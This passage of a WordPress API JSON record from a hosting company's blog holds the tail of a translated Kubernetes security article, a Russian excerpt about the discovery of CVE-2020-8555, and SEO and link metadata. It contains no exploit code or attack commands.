er\u00f6ffnet.<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/466625\/\">\u00dcber das Pod in Kubernetes hinaus durch das Einbinden von Protokollen<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/465141\/\">33+ Tools f\u00fcr die Sicherheit von Kubernetes<\/a><\/noindex>\u00bb.<\/li>\n<\/ul>\n<p>Quelle: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/508308\/\">habr.com<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0430\u0432\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020\u20138555 \u0432 Kubernetes. \u0425\u043e\u0442\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d\u0430 \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u0430\u043c\u0438 \u0435\u0451 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439. \u0417\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0449\u0435\u0434\u0440\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0434\u0438\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041a\u0442\u043e \u043c\u044b \u0442\u0430\u043a\u0438\u0435 \u041c\u044b \u2014 \u0434\u0432\u0430 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0445 [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":86624,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-86623","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.1.1 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/de\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.1.1\" \/>\n\t\t<meta property=\"og:locale\" content=\"de_DE\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/de\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Wenn es nicht nur um die Sicherheitsl\u00fccke in Kubernetes geht\u2026 | ProHoster","description":"z.B.","canonical_url":"https:\/\/prohoster.info\/de\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"de_DE","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster","og:description":"\u041f\u0440\u0438\u043c.","og:url":"https:\/\/prohoster.info\/de\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-06-27T17:42:40+00:00","article:modified_time":"2020-06-27T17:42:40+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"86623","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 14:11:05","updated":"2022-09-28 21:18:58","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/posts\/86623","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/comments?post=86623"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/posts\/86623\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/media\/86624"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/media?parent=86623"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/categories?post=86623"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/tags?post=86623"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}